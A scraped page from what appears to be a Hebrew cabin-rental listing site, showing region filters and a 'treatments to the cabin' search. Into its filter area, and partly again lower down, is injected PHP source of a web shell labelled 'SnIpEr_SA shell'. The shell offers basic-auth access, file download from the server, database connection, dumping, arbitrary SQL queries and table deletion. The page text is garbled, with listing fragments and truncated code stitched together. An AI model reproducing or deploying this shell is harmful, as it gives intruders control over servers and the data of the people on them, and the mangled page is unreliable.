סנן אזור:
כנרת והעמקים |
גליל עליון |
$v) { $_POST[$k] = stripslashes($v); } foreach ($_COOKIE as $k=>$v) { $_COOKIE[$k] = stripslashes($v); } } if($auth == 1) { if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) { header('WWW-Authenticate: Basic realm="SnIpEr_SA shell"'); header('HTTP/1.0 401 Unauthorized'); exit("SnIpEr_SA : Access Denied "); } } $head = ' SnIpEr_SA shell '; class zipfile { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0) { $name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $c_len = strlen($zdata); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $this -> datasec[] = $fr; $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset ); $this -> old_offset += strlen($fr); $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; } } function compress(&$filename,&$filedump,$compress) { global $content_encoding; global $mime_type; if ($compress == 'bzip' && @function_exists('bzcompress')) { $filename .= '.bz2'; $mime_type = 'application/x-bzip2'; $filedump = bzcompress($filedump); } else if ($compress == 'gzip' && @function_exists('gzencode')) { $filename .= '.gz'; $content_encoding = 'x-gzip'; $mime_type = 'application/x-gzip'; $filedump = gzencode($filedump); } else if ($compress == 'zip' && @function_exists('gzcompress')) { $filename .= '.zip'; $mime_type = 'application/zip'; $zipfile = new zipfile(); $zipfile -> addFile($filedump, substr($filename, 0, -4)); $filedump = $zipfile -> file(); } else { $mime_type = 'application/octet-stream'; } } function mailattach($to,$from,$subj,$attach) { $headers = "From: $from\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: ".$attach['type']; $headers .= "; name=\"".$attach['name']."\"\r\n"; $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; if(@mail($to,$subj,"",$headers)) { return 1; } return 0; } class my_sql { var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() { switch($this->db) { case 'MySQL': if(empty($this->port)) { $this->port = '3306'; } if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; break; case 'MSSQL': if(empty($this->port)) { $this->port = '1433'; } if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; break; case 'PostgreSQL': if(empty($this->port)) { $this->port = '5432'; } $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; break; } return 0; } function select_db() { switch($this->db) { case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; } return 0; } function query($query) { $this->res=$this->error=''; switch($this->db) { case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) { $this->error = @mysql_error($this->connection); return 0; } else if(is_resource($this->res)) { return 1; } return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection))) { $this->error = 'Query error'; return 0; } else if(@mssql_num_rows($this->res) > 0) { return 1; } return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query))) { $this->error = @pg_last_error($this->connection); return 0; } else if(@pg_num_rows($this->res) > 0) { return 1; } return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query))) { $this->error = 'Query parse error'; } else { if(@ociexecute($this->res)) { if(@ocirowcount($this->res) != 0) return 2; return 1; } $error = @ocierror(); $this->error=$error['message']; } break; } return 0; } function get_result() { $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db) { case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; } return 0; } function dump($table) { if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '## Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db) { case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table']; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; } return 1; } function close() { switch($this->db) { case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; } } function affected_rows() { switch($this->db) { case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; } } } if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) { if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; } else { @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); } } if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo " "; die(); } if(isset($_GET['sqlman'])) { session_start(); $action = $HTTP_GET_VARS['action']; $pagemax=20; // Maximum rows displaed per page, change to display more or less rows per page. function show_login($dbnamearray){ $hostdefault="localhost"; echo" \n"; } function dbrestrict(){ if(isset($_SESSION['user'])){ $user=$_SESSION['user']; switch($user){ //Edit these ** values. You can add more case statements. case '**User**': $dbnamearray= array('**dbname**', '**dbname2**', '**dbname**'); break; //end edit values default: $_SESSION['defaltuser']=true; $dbnamearray = array(); $link = connectmysql(); $db_list = mysql_list_dbs($link); //$db_list $cnt = mysql_num_rows($db_list); for ($i =0; $i < $cnt; $i++) { $dbnamearray[$i]= mysql_db_name($db_list, $i); } } return $dbnamearray; } } //*************************************************************** //function showdbs($dbnamearray, $backuppath){ function showdbs($dbnamearray){ //$backuppath=addslashes($backuppath); echo"\n"; for ($i =0; $i < count($dbnamearray); $i++) { echo""; $dbn=$dbnamearray[$i]; $va="ÇáÐåÇÈ Çáì ÞÇÚÏÉ $dbn"; goto(' ', $dbn,$action, 'but', 'db', $va ); $dbs=mysize($dbnamearray[$i],""); echo" $dbs \n"; } echo"
\n"; } //********************* Show Logout Button ********** function endsess(){ echo""; } //******************************************************************** function connectmysql(){ //Connects to the MySQL Database. if (isset($_SESSION['user']) && isset($_SESSION['password'])){ $user = $_SESSION['user']; $pass = $_SESSION['password']; }else{ display_foot(); echo"\n\n"; exit(); } $link = @mysql_connect($_SESSION['host'], $_SESSION['user'], $_SESSION['password']); if(! $link){ echo"\n"; echo"Unable to connect to the database server. "; echo"The Host: $_SESSION[host], ÇÓã ÇáãÓÊÎÏã: $user Çæ Çáßáãå ÇáÓÑíå ÎØÇÁ. "; echo"ÝÖáÇð ÓÌá ÎÑæÌ ááãÍÇæáå ãÑå ÇÎÑì.\n"; echo"
\n"; return false; exit(); } else{ return $link; } } //********************************************************************* function connectdb($db, $link){ if(! mysql_select_db($db,$link)){ echo"Unable to locate database $db. Please try again later.\n"; exit(); } } //********************************************************************* function exequery($sql, $tablename, $db){ $result= @mysql_query( $sql ); if($result){ //echo "Query successful"; return $result; }else{ echo"Sorry your Query failed: $sql error:".mysql_error()."\n"; return false; } } //*************************************************** $fieldtypes = array("BIGINT", "BLOB", "CHAR", "DATE", "DATETIME", "DECIMAL", "DOUBLE", "ENUM", "FLOAT", "INT", "INTEGER", "LONGBLOB", "LONGTEXT", "MEDIUMBLOB", "MEDIUMINT", "MEDIUMTEXT", "NUMERIC", "PRECISION", "REAL","SET", "SMALLINT", "TEXT", "TIME", "TIMESTAMP", "TINYBLOB", "TINYINT", "TINYTEXT", "VARCHAR", "YEAR" ); //****************** Search Form **************************** function searchtableform($tablename, $dbname){ echo"\n"; } //********************* Search ************************* function searcht($tablename, $dbname, $searchval){ if(! empty($searchval)){ // $searchval= str_replace(";",' ', $searchval); $result=exequery("Select * from $tablename", $tablename, $dbname); //$result=mysql_query("Select * from $tablename"); $num = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); $whr="where "; $tok=explode(" ",$searchval); for ($t =0; $t < count($tok); $t++){ for ( $c = 0; $c < $num; $c++){ $fn =mysql_field_name($fields, $c); $whr .=" $fn like '%$tok[$t]%' or "; } } $whr=trim(substr_replace($whr, " ", -3)); $query="Select * from $tablename $whr"; $result=exequery($query, $tablename, $dbname); return $result; } } //*********************GOTO buttons************************* //provides a form and button. function goto($tablename, $dbname, $action, $class, $name, $va ){ //Adds a button. echo"\n"; //echo"$va "; //} } //*********************** ShowDB *********************************** function showdb(){ //function showdb($backuppath){ $link=connectmysql(); if ($link){ echo""; echo"
\n"; echo"
ÅäÔÇÁ ÞÇÚÏÉ ÌÏíÏÉ \n"; echo" "; echo""; echo"
ÞÇÆãå ÇáÞæÇÚÏ ÇáãÊæÝÑå \n"; //Restrict the database for users $dbnamearray= dbrestrict(); showdbs($dbnamearray); echo"
"; } } //********************** BuildWhr ****************************** //Builds the Where part of queries. function buildwhr($pk, $pv){ $whr=""; $pn =count($pv); for($t =0; $t < $pn; $t++){ $whr.="$pk[$t]='$pv[$t]'"; if($t < $pn-1){ $whr.=" and "; } } if ($whr !=" "){ return $whr; }else{ return false; } } //***********************ADD Record ****************** function addrecord($tablename, $dbname, $array){ $result=exequery("Select * from $tablename", $tablename, $dbname); //$result = @mysql_query( "Select * from $tablename" ); $flds = mysql_num_fields($result); //$fields = mysql_list_fields($dbname, $tablename); $qry=" "; $query = "Insert into $tablename Values( "; for ($x =0; $x < $flds; $x++){ //Multiple Select values for SET if(is_array($array[$x])){ $mval=""; for($m=0; $m < count($array[$x]); $m++){ if($m+1 == count($array[$x])){ $mval.= AddSlashes($array[$x][$m]); }else{ $mval.= AddSlashes($array[$x][$m]).","; } $fval = $mval; } }else{ $fval = AddSlashes($array[$x]); } $qry .= "'$fval'"; if ($x < $flds-1){ $qry.= ", "; } } $query .= $qry.")"; // echo"qry: $qry"; $result=exequery($query, $tablename, $dbname); if($result){ return $result; }else{ return false; } } //**********************ADD Form ********************** function addform($tablename, $dbname){ //Display the field names and input boxes echo"\n"; } //*********************Edit Form *************** function editform($tablename, $dbname, $result, $edit, $pk, $pv){ $row=mysql_fetch_array($result); echo"\n"; echo"\n"; $flds = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); echo" \n"; echo" \n"; echo""; $mxlen = 80;//max width of the form fields for($i=0; $i < $flds; $i++){ $fname=mysql_field_name($fields, $i); echo "$fname"; $flen = mysql_field_len($result, $i);//length of the field $nslash = StripSlashes($row[$i]); // Start of new code for set drop down $newsql = "show columns from $tablename like '%".$fname."'"; $newresult = exequery($newsql, $tablename, $dbname); $arr=mysql_fetch_array($newresult); // End of new code block for set drop down if($flen > $mxlen){ $rws= $flen/$mxlen; if($rws>10){ $rws=10; //max length of textarea } echo" $nslash \n"; // Start of new code for set drop down }elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){ // We have a field type of set or enum $num=substr_count($arr[1],',') + 1; // count the number of entries $pos=strpos($arr[1],'(' ); //find the position of '(' $newstring=substr($arr[1],$pos+1); // get rid of the '???(' $snewstring=str_replace(')','',$newstring); // get rid of the last ')' $nnewstring=explode(',',$snewstring,$num); // stick into an array if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values echo""; }else{//Enum one value only echo""; } $nsel=explode(",",$nslash); for($y=0; $y<$num;$y++){ //geteach value 'a,b,c' $sel=""; for($e=0; $e$nnewstring[$y]"; } echo" \n"; // End of new code block for set drop down }else{ echo" \n"; } for($f =0; $f< count($pk);$f++){ echo" "; echo" \n"; } } echo" \n"; echo" \n"; echo" "; echo"
\n"; echo" \n"; } //************************Edit Record************************* function editrec($dbname, $tablename, $pk, $pv, $array){ //$result = @mysql_query( "Select * from $tablename" ); $result = exequery("Select * from $tablename", $tablename, $dbname); $flds = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); //Build Query $qry=""; $query = "UPDATE $tablename set "; for ($x =0; $x < $flds; $x++){ $fie = mysql_field_name($fields, $x ); // SET and ENUM if(is_array($array[$x])){ $mval=""; for($m=0; $m < count($array[$x]); $m++){ if($m+1 == count($array[$x])){ $mval.= AddSlashes($array[$x][$m]); }else{ $mval.= AddSlashes($array[$x][$m]).","; } $fval = $mval; } }else{ $fval = AddSlashes($array[$x]); } //************************** //$fval = AddSlashes($array[$x]); $qry .= "$fie = '$fval'"; if ($x < $flds-1){ $qry.= ", "; } } $whr = buildwhr( $pk, $pv); $whr =StripSlashes($whr); $query .= "$qry"; $query .= " where $whr"; $result=exequery($query, $tablename, $dbname); if($result){ return $result; }else{ return false; } } //****************** Number of Primary Keys *********************** function numpk($result){ $z =0; for ($i = 0; $i < $flds; $i++) { //Find the primary key $flagstring = mysql_field_flags ($result, $i); if(eregi("primary",$flagstring )){ $z++; } } return $z; } //********************Size field***************** function fieldformsize($ft, $i, $l){ $ft= trim(strtoupper($ft)); if($ft =="DATE" || $ft=="TIME" || $ft== "DATETIME" ){ }elseif( $ft=="TINYTEXT" || $ft=="BLOB" || $ft=="TEXT" || $ft =="MEDIUMBLOB"){ echo" "; }elseif($ft=="MEDIUMTEXT" || $ft=="LONGBLOB"|| $ft=="LONGTEXT" || $ft=="TINYBLOB"){ echo" "; }elseif($ft=="INT" || $ft=="TINYINT"|| $ft=="SMALLINT"|| $ft=="MEDIUMINT"|| $ft=="BIGINT" || $ft=="INTEGER"){ echo" "; }elseif($ft=="YEAR" ){ echo""; echo"4"; echo" 2"; echo" \n"; }elseif($ft=="SET"|| $ft=="ENUM"){ echo" "; }else{ echo" \n"; } } //******************************Display Row ****************************** function displayrow($dbname, $tbl, $pk, $pkfield, $cpk, $row, $flds){ $pkfs=""; $hv=""; $hf=""; if($cpk >0 && !empty($pkfield)){ for($a = 0; $a < $cpk; $a++){ $fieldn = $pkfield[$a]; $hf .= " "; $hv .= " "; } }else{ //No Primary Key so use all fields $fields = mysql_list_fields($dbname, $tbl); for($b = 0; $b < $flds; $b++){ $fie = mysql_field_name($fields, $b ); $hf .= " "; $hv .= " "; } } echo" \n"; //edit Record echo"\n"; echo" \n"; echo" \n"; echo" \n"; echo"$hf"; echo"$hv"; echo" \n"; echo" \n"; //Delete record echo"\n"; echo" \n"; echo" \n"; echo" \n"; echo"$hf"; echo"$hv"; echo" \n"; echo" "; //Display all the columns. for($col = 0; $col < $flds; $col ++){ $nslash = StripSlashes($row[$col]); echo"$nslash "; } echo" "; } //***********************Remove Array Copy******************************** //removes copies from an array $x. function removearraycopy($x){ $leng= count($x); sort($x); $farr=array(); for ($i =0; $i < $leng; $i++){ $flag=false; for ($s =0; $s < count($farr); $s++){ if($x[$i]==$farr[$s]){ $flag=true; } } if ($flag == false){ $farr[count($farr)] = $x[$i]; } } return $farr; } //***********************<< page position >>******************************** function whichpage($num_rows, $pagemax, $pg, $tablename, $searchval){ $pgs = $num_rows/$pagemax; $pgs=ceil($pgs); //round up the number of pages. echo"\n"; echo"Total number of records $num_rows, displayed on $pgs pages of \n"; echo" \n"; echo" \n"; echo" \n"; echo"records per page. \n"; $pagescrol=""; $sval=""; if($pgs >1){ $pagescrol="\n"; } return $pagescrol; } //*************Display Footer************************* //Please don't remove or change. function display_foot(){ echo""; } //*************My Size************************* //Returns the size of a table or database function mysize($dbname, $tablename){ $like=""; $total=""; $t=0; if($tablename !=""){ $like=" like '$tablename'"; } $sql= "SHOW TABLE STATUS FROM $dbname $like"; //$result = mysql_query($sql); $result=exequery($sql, $tablename, $dbname); if($result){ while($rec = mysql_fetch_array($result)){ $t+=($rec['Data_length'] + $rec['Index_length']); } $total ="$t bytes "; }else{ $total="Unknowen"; } return($total); } //************************************** //DEBUG to show all being passed to the page function showpassingvars(){ echo"Get: "; foreach($_GET as $pram=>$value){ echo"$pram: $value, "; } echo" Post: "; foreach($_POST as $pram=>$value){ echo"$pram: $value, "; } echo" Session: "; foreach($_SESSION as $pram=>$value){ echo"$pram: $value, "; } } echo"\n"; echo" \n"; echo"\n"; echo"ÓßÑÈÊ ÇáÇÊÕÇá ÈÞæÇÚÏ ÇáÈíÇäÇÊ \n"; echo"\n"; echo" "; echo"ÓßÑÈÊ ÇáÇÊÕÇá ÈÞæÇÚÏ ÇáÈíÇäÇÊ \n"; echo" "; echo" "; echo" "; echo" \n"; echo"\n"; echo"\n"; $showall=true; echo"ÓßÑÈÊ ÇáÇÊÕÇá ÈÞæÇÚÏ ÇáÈíÇäÇÊ \n"; //******************* Session Logon *********************** if(isset($_POST['logout'])){ $_POST['dbname']=""; session_unset(); session_destroy(); } if(isset($_POST['userid']) && isset($_POST['pword1'])){ $_SESSION['user'] = $_POST['userid']; $_SESSION['password'] = $_POST['pword1']; } if (!isset($_SESSION['user']) || !isset($_SESSION['password'])){ echo""; echo"
ÇÏÎá ÈíÇäÇÊ ÇáÓíÑÝÑ ÇáãÎÊÑÞ \n"; If(!isset($dbnamearray)){ $dbnamearray=""; } show_login($dbnamearray); echo""; }else{ //show logout option. echo""; endsess(); echo"
"; } //*****dbname if(isset($_POST['dbname'])){ $dbname=$_POST['dbname']; $_SESSION['dbname']= $_POST['dbname']; } //***** Host if(isset($_POST['host'])){ $host=$_POST['host']; $_SESSION['host']=$_POST['host']; } //******set tablename if(isset($_GET['tablename']) ){ $tablename=$_GET['tablename']; }elseif(isset($_POST['tablename'])){ $tablename=$_POST['tablename']; } //********** pagemax if(isset($_POST['pagemax'])){ //&& is_int($_POST['pagemax'])){ $isnum=true; for($o=0; $o9){ $isnum=false; } } if($_POST['pagemax']>0 && $isnum){ $_SESSION['pagemax']=$_POST['pagemax']; } } if(isset($_SESSION['pagemax'])){ $pagemax=$_SESSION['pagemax']; } //******** create a new Database ************ if(isset($_POST['cndb'])){ connectmysql(); $sql="create database $_POST[ndbname]"; $result=exequery($sql, " ", $_POST['ndbname']); if ($result){ $_SESSION['dbname'] = $_POST['ndbname']; $sql="Use $_POST[ndbname]"; $result=exequery($sql, " ", $_POST['ndbname']); if($result){ echo"ÞÇÚÏÉ ÌÏíÏÉ $_SESSION[dbname] \n"; } } } //********************************************* if (! isset($_SESSION['dbname']) && ! isset($dbnamearray) && ! isset($_POST['dbname']) && isset($_SESSION['user'])){ //*********post //Databse names showdb(); } //************************ Choose DB ************* if(isset($_POST['dbname']) && $_POST['dbname']==""){ showdb(); } //********** if (isset($_SESSION['dbname']) || isset($_POST['dbna']) || isset($_POST['dbname'])){ //************************************* //connection if (isset($_SESSION['dbname'])){ $dbsetname = $_SESSION['dbname']; }elseif(isset($_POST['dbname'])){ $dbsetname = $_POST['dbname']; $_SESSION['dbname'] = $_POST['dbname']; }else{ $dbsetname = $_POST['dbna']; $_SESSION['dbname'] = $_POST['dbna']; } } //*************************** we have a DB set if(isset($dbsetname) && $dbsetname!=""){ $link= connectmysql(); //echo"DBS: $dbsetname"; $conn = connectdb($dbsetname, $link); //*********** Drop Table ************** if(isset($_POST['deltable'])){ $showall=false; $tablename=$_POST['tablename']; echo"!!! ÊÍÐíÑ !!! ÇäÊ ÊÍÇæá ãÓÍ åÐÇ ÇáÌÏæá $tablename "; echo"åá ÇäÊ ãÊÇßÏ ãä ÇáÞíÇã ÈÇáÚãáíå¿? \n"; $va="Drop $tablename"; goto($tablename, $dbname,$action, 'del', 'droptab', $va ); } if(isset($_POST['droptab'])){ $tablename=$_POST['tablename']; $dsql = "drop table $tablename"; $result=exequery($dsql, $tablename, $dbname); unset($tablename); //="false"; unset($_POST['tablename']); } //*****************Write Your Own Query ***************** if(isset($_POST['wyoq'])){ //post $value="ÇáæÇÌåå ÇáÑÆíÓíå ááÓßÑÈÊ"; goto($tablename, $dbname, $action, 'but', 'start', $value ); echo"\n"; echo" \n"; //echo" \n"; echo" \n"; echo" \n"; echo" \n"; } if(isset($_POST['runquery'])){ $wyoqta = StripSlashes($_POST['wyoqta']); $result=exequery($wyoqta, " ", " "); if(@mysql_num_rows($result) >0){ $numrows=mysql_num_rows($result); $flds=mysql_num_fields($result); echo""; for($r=0; $r < $numrows; $r++){ echo""; $row=mysql_fetch_array($result); for($col = 0; $col < $flds; $col ++){ $nslash = StripSlashes($row[$col]); echo"$nslash "; } echo" "; } echo"
"; }elseif (mysql_affected_rows()){ echo" Number of Rows affected: ".mysql_affected_rows(); }else{ echo" Nothing returned from the query."; } } // ****************List Tables*************************** if( ! isset($tablename) || $tablename==" " ){ $dbname=$_SESSION['dbname']; $result = mysql_list_tables($_SESSION['dbname']); $numtab = mysql_num_rows ($result); if($numtab == 1){ $_SESSION['tablename'] =mysql_tablename($result, 0); } //***************** Buttons ****************************** if (isset($_POST['runquery'])){ $dbname=$_SESSION['dbname']; $value="$dbname Start"; //Table Manager Start goto("", $_SESSION['dbname'], $action, 'but', 'tablestart', $value ); }elseif (! isset($_POST['wyoq']) && ! isset($_POST['runquery'])){ //write your own query. echo"\n"; echo""; $va="ÅäÔÇÁ ÌÏæá ÌÏíÏ"; goto("", $_SESSION['dbname'], "create.php", 'but', 'create', $va ); // echo"Create new Table \n"; echo" "; $value="ÇáæÇÌåå ÇáÑÆíÓíå"; //Choose DB goto("", "", $action, 'but', 'db', $value ); echo" \n"; $value="Write Your Own Query"; goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value ); echo" "; echo"
"; echo"\n"; for ($i =0; $i < $numtab; $i++) { $tb_names[$i] = mysql_tablename($result, $i); echo"\n"; $va="ÚÑÖ ÌÏæá * $tb_names[$i]"; goto($tb_names[$i], $_SESSION['dbname'],$action, 'but', $tb_names[$i], $va ); echo" \n"; $va="ãÓÍ ÌÏæá $tb_names[$i]"; |
רמת הגולן | טיפולים עד הצימר
תוצאות חיפוש עבור: טיפולים עד הצימר
צור קשר
קופון
לאתר
טלפון
סוג
מיקום
$v) { $_POST[$k] = stripslashes($v); } foreach ($_COOKIE as $k=>$v) { $_COOKIE[$k] = stripslashes($v); } } if($auth == 1) { if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) { header('WWW-Authenticate: Basic realm="SnIpEr_SA shell"'); header('HTTP/1.0 401 Unauthorized'); exit("SnIpEr_SA : Access Denied "); } } $head = ' SnIpEr_SA shell '; class zipfile { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0) { $name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $c_len = strlen($zdata); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $this -> datasec[] = $fr; $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset ); $this -> old_offset += strlen($fr); $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this 